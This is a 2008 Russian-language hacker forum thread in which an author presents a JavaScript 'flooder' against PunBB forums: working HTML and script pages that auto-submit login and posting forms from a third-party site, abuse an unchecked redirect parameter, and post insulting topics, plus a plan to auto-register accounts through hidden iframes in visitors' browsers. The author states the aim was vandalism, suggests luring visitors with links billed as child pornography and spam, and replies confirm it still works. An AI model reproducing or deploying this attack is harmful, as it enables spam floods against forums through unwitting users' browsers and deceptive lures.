ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > ИНФО > Статьи > Авторские статьи
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Сделай Сам : Флудер на Javascript.
  #1  
Старый 05.06.2008, 12:24
vvs777
Познавший АНТИЧАТ
Регистрация: 16.11.2004
Сообщений: 1,257
Провел на форуме:
1331503

Репутация: 454


Отправить сообщение для vvs777 с помощью ICQ Отправить сообщение для vvs777 с помощью AIM
Exclamation Сделай Сам : Флудер на Javascript.

Сделай Сам : Флудер на Javascript.

В этой небольшой статейке хочу показать, что нельзя недооценивать возможности Javascript как языка программирования
(хотя по большому счету все написанное ниже - сплошной изврат).

Дело было давно (хотя впрочем и не так уж давно, 2005 год), когда я еще не знал php, а надо было сделать западло.
Был один форум на движке PunBB(http://www.punbb.org/), но к сожалению последней на тот момент версии (1.2.8), и все лаги, которые я нашел на секюритилабе были уже прикрыты.
Происследовав его вдоль и поперек, ничего нового естественно не нашел, ломануть не удалось.
Решил просто чуть нафлудить (а именно просто насрать:-).

Первым делом посмотрим на форму входа на форум.
Код:
<form id="login" method="post" action="">
<input type="hidden" name="form_sent" value="1">
<input type="hidden" name="redirect_url" value="http://subdomain.test1.ru/punBB/index.php">
<input type="text" name="req_username" size="25" maxlength="25" tabindex="1" value="Username">
<input type="password" name="req_password" size="16" maxlength="16" tabindex="2" value="Password">
<input type="submit" name="login" value="Вход" tabindex="3">
</form>
Вроде бы все в порядке. настораживает только поле redirect_url.
Идем далее.
форма создания нового поста/ответа на существующий. я создавал новые, но отлчие по сути в 3 буквах.
Код:
<form id="post" method="post" action="post.php?action=post&amp;fid=1">
<input type="hidden" name="form_sent" value="1">
<input type="hidden" name="form_user" value="USERNAME">
<input type="text" name="req_subject" value="SUBJECT!" size="80" maxlength="70" tabindex="1">
<textarea name="req_message" rows="20" cols="95" tabindex="2">
Собсно тут текст сообщения.
</textarea>
<input type="checkbox" name="hide_smilies" value="1" tabindex="3">
<input type="checkbox" name="subscribe" value="1" tabindex="4">
<input type="submit" name="submit" value="Отправить" tabindex="5">
</form>
Как бы тоже все просто.

Переходим от теории к практике.
Описывать особо не буду, и так понятно.
Код:
<HTML>
<META HTTP-EQUIV="CACHE-CONTROL" CONTENT="NO-CACHE">
<META HTTP-EQUIV="PRAGMA" CONTENT="NO-CACHE"> 
<form id="login" method="post" action="">
<input type="hidden" name="form_sent" value="1">
<input type="hidden" name="redirect_url" value="about:blank">
<input type="text" name="req_username" size="25" maxlength="25" tabindex="1" value="Username">
<input type="password" name="req_password" size="16" maxlength="16" tabindex="2" value="Password">
<input type="submit" name="login" value="Вход" tabindex="3">
</form> 

<SCRIPT>
<!--
username='your_user';
password='your_pass';
//Адрес скрипта. Теоретически можно извлечь из window.location, но я этого тогда еще не умел.
thisaddr='http://your_hack_site.pochta.ru/';
//адрес форума-жертвы
addr='your_punbbforum.ru';
document.forms[0].action='http://'+addr+'/login.php?action=in';
document.forms[0].redirect_url.value=thisaddr+'newtopic.htm?username='+username+'&addr='+addr;
document.forms[0].req_username.value=username;
document.forms[0].req_password.value=password;
document.forms[0].submit();
//на следующий шаг нас перешлет сам форум :-) (см. redirect_url) вот почему надо контроллировать поступающие данные на принадлежность своему хосту.
//->
</SCRIPT>
</HTML>
Данный код находится в файле login.htm, он заполняет форму, отправляет на форум, форум авторизирует юзера, шлет куку, перенаправляет на следующий этап.
Теперь приведу newtopic.htm.
Код:
<html>
<META HTTP-EQUIV="CACHE-CONTROL" CONTENT="NO-CACHE">
<META HTTP-EQUIV="PRAGMA" CONTENT="NO-CACHE"> 
<form id="post" method="post" action="post.php?action=post&amp;fid=1">
//fid=1 кажись номер раздела форума или темы в нем соответственно
<input type="hidden" name="form_sent" value="1">
<input type="text" name="form_user" value="USERNAME">
<input type="text" name="req_subject" value="xcc" size="80" maxlength="70" tabindex="1">
<textarea name="req_message" rows="20" cols="95" tabindex="2">
___________________
_____________Oooo__
____oooO____(___)__
___(___)_____)_/___
____\_(_____(_/____
_____\_)___________
</textarea>
<input type="checkbox" name="hide_smilies" value="1" tabindex="3">
<input type="checkbox" name="subscribe" value="1" tabindex="4">
<input type="submit" name="submit" value="Отправить" tabindex="5">
</form>

<SCRIPT>
//Эту функцию я откуда-то срисовал, просто незаменимая вещь.
function Getparamvalue(search_string, param_name) {
param_name=param_name+'=';
var z='';
if (search_string!='') {
if (search_string.indexOf(param_name,0)!=-1) {
var startpos=search_string.indexOf(param_name,0)+param_name.length;
var endpos=search_string.indexOf('%26',startpos);
if (endpos<=startpos) endpos=search_string.length;
z=search_string.substring(startpos,endpos);
}
}
return z;
}

function rand(num) {
return Math.floor(Math.random() * num )+1;
}

var p=window.location.search;
//newtopic.htm?username='+username+'&addr='+addr
username=Getparamvalue(p,'username');
addr=Getparamvalue(p,'addr');
//аналог $_GET =)

topics=new Array (4); //- кол-во возможных тем
topics[00]= 'Админы-лохи';
topics[01]= 'Скажем НЕТ!';
topics[02]= 'идите на фиг!';
topics[03]= 'Good lamer - dead lamer!';

document.forms[0].action='http://'+addr+'/post.php?action=post&amp;fid=1'; //SMENIT!!!!! 6 !!!!!!
document.forms[0].form_user.value=username;
document.forms[0].req_subject.value=topics[rand(10)];
//document.forms[0].req_message.value=''; //сюда можно аналогично рандомом менять сообщение
document.forms[0].submit();
</SCRIPT>
</html>
Итак, форум нас перенаправил, Javascript'ом забераем параметры, опять заполняем форму и отправляем сообщение.
Мавр сделал свое дело, мавр может отдыхать.
ну уж нет.

Теперь посмотрим на форму регистрации на форуме.
Код:
<form id="register" method="post" action="register.php?action=register" onsubmit="...">
<input type="hidden" name="form_sent" value="1" />
<label><strong>Username</strong><br />
<input type="text" name="req_username" size="25" maxlength="25" />
<label class="conl"><strong>Password</strong><br />
<input type="password" name="req_password1" size="16" maxlength="16" /><br /></label>
<label class="conl"><strong>Confirm password</strong><br />
<input type="password" name="req_password2" size="16" maxlength="16" /><br /></label>
<label><strong>E-mail</strong><br />
<input type="text" name="req_email1" size="50" maxlength="50" /><br /></label>
<label>Timezone: For the forum to display times correctly you must select your local timezone.
<select id="time_zone" name="timezone">
	<option value="-12">-12</option>
	...
	<option value="14">+14</option>
</select>
<div class="rbox">
<label><input type="radio" name="email_setting" value="0" />Display your e-mail address.<br /></label>
<label><input type="radio" name="email_setting" value="1" checked="checked" />Hide your e-mail address but allow form e-mail.<br /></label>
<label><input type="radio" name="email_setting" value="2" />Hide your e-mail address and disallow form e-mail.<br /></label>
<label><input type="checkbox" name="save_pass" value="1" checked="checked" />Save username and password between visits.<br /></label>
<input type="submit" name="register" value="Register" />
</form>
Вообщем тупо берем, заполняем поля и регаемся.
Ни тебе капчи, ни проверки мыла...

Теперь рассказываю, как выглядит картина маслом (весь код не привожу, информация к размышлению only)

Есть страничка на бесплатном хостинге типа Народ или Почта.ру. На ней IFRAME.
Надо заставить просмотреть ее наибольшее кол-во юзеров.
Как это делать рассказывать не буду, скажу лишь что размещение на 2-3х популярных форумах ссылки из серии "свежее порево", "детское порно" и т.п дает не меньше 40 посетителей за тот же вечер, потом админы пост удалят.
Возможны вариации на тему. Этот IFRAME можно вставить везде где есть xss.
Вернемся к нашим баранам.
По большому счету тут 2 пути.
Или самому регаться раз в час и вовремя менять в скрипте логин и пароль, не парясь с регистрацией, либо уже делать капитально.
Любой вышеперечисленный IFRAME ссылается на start.htm, где генерируется логин/пасс, производится в другом фрейме регистрация на форуме, затем (с учетом редиректа) по событию onLoad для внутреннего фрейма запускается процедура входа (через location.reload на другой файл или в том же другая функция, главное не запутаться).
После входа на форум, юзер, получивший фрейм, получает куку с форума, генерируется тема, содержимое, выбирается случайный раздел/тема и отправляется сообщение.
Если на странице, на которой юзер находится, разместить интересный текст, то есть смысл тут поставить цикл, т.е. отправка следующего соообщения.
При этом можно добавить проверку содержимого из серии iframe1.innerText на предмет наличия "Ви в чорному списку (забанені)." после входа - надо "нажать" выход и регаться заново и т.п.

Заключение паталогоанатома:
Форумы и вообще веб-движки с отсутствием капчи, проверки по емейл и т.п., отсутствующей проверкой вводимого содержимого (redirect_url) и без проверки рефереров - классный полигон для испытаний.

Мне честно облом было сейчас посмотреть на последнюю версию PunBB через 3 года после разработки данного изврата, но наверняка что-то из описанного мною еще работает.

Если обеспечить нормальный поток посетителей страницы (а как я уже сказал, 40 человек за первые 2-3 часа это вполне реально) то можно прилично и неприлично загадить форум. Админ сутра приходит на работу и чистит, чистит... а пятки все прибывают...
Цитата:
Адміністратор чи модератор, що вніс Вас у чорний список, залишив наступне повідомлення:
Вы нарушали правиа пользования форумом своими пятками...
Статья и приведенный код предназначены для использования в образовательных целях, за последствия автор ответсттвенности не несет.

(C) VVS777, 2008.
Оригинал на http://vvs777.co.cc/main.phtml?punbb_js.htm
зеркало
http://vvs777.ho.com.ua/main.phtml?punbb_js.htm

Последний раз редактировалось vvs777; 04.08.2008 в 01:09..
 
Ответить с цитированием

  #2  
Старый 22.06.2008, 18:56
vvs777
Познавший АНТИЧАТ
Регистрация: 16.11.2004
Сообщений: 1,257
Провел на форуме:
1331503

Репутация: 454


Отправить сообщение для vvs777 с помощью ICQ Отправить сообщение для vvs777 с помощью AIM
По умолчанию

недавно ковирялся в некоторих движках и я вам скажу оно таки да еще работает
 
Ответить с цитированием

  #3  
Старый 22.06.2008, 22:19
А®ТеS
Участник форума
Регистрация: 25.11.2006
Сообщений: 291
Провел на форуме:
1537850

Репутация: 536
Отправить сообщение для А®ТеS с помощью ICQ
По умолчанию

Изврат. Js пашет на клиенте, а у меня диалап, что делать?) Php лучше: залил на серв и идешь пить кофе))
 
Ответить с цитированием

  #4  
Старый 24.06.2008, 21:25
vvs777
Познавший АНТИЧАТ
Регистрация: 16.11.2004
Сообщений: 1,257
Провел на форуме:
1331503

Репутация: 454


Отправить сообщение для vvs777 с помощью ICQ Отправить сообщение для vvs777 с помощью AIM
По умолчанию

знаю что изврат.
у тебя диалап- не беда. завлекай клиентов на эту страницу спамом в гостевухах и форумах.

Это конечно не призыв, но когда я не знал пхп я так стебался. Поверь, по 5 месаг от юзера, от 3 юзеров в случайных разделах форума в случайных темах - повод для админа задумаццо а не сильно ли он нас*ал кому-то в настроение =)
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
BookS: PHP, PERL, MySQL, JavaScript, HTML, ajax, Веб Дизайн M1nK0 PHP, PERL, MySQL, JavaScript 10 27.06.2009 21:35
Сборник пыльной библиотеки \буржуйская\ xcedz Болталка 5 12.07.2008 18:12
JavaScript Hijacking [Raz0r] Авторские статьи 1 25.01.2008 20:32
Books JS FRAGNATIC PHP, PERL, MySQL, JavaScript 0 11.08.2005 16:57
Bypassing JavaScript Filters the Flash! Attack k00p3r Чужие Статьи 0 12.07.2005 16:11



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ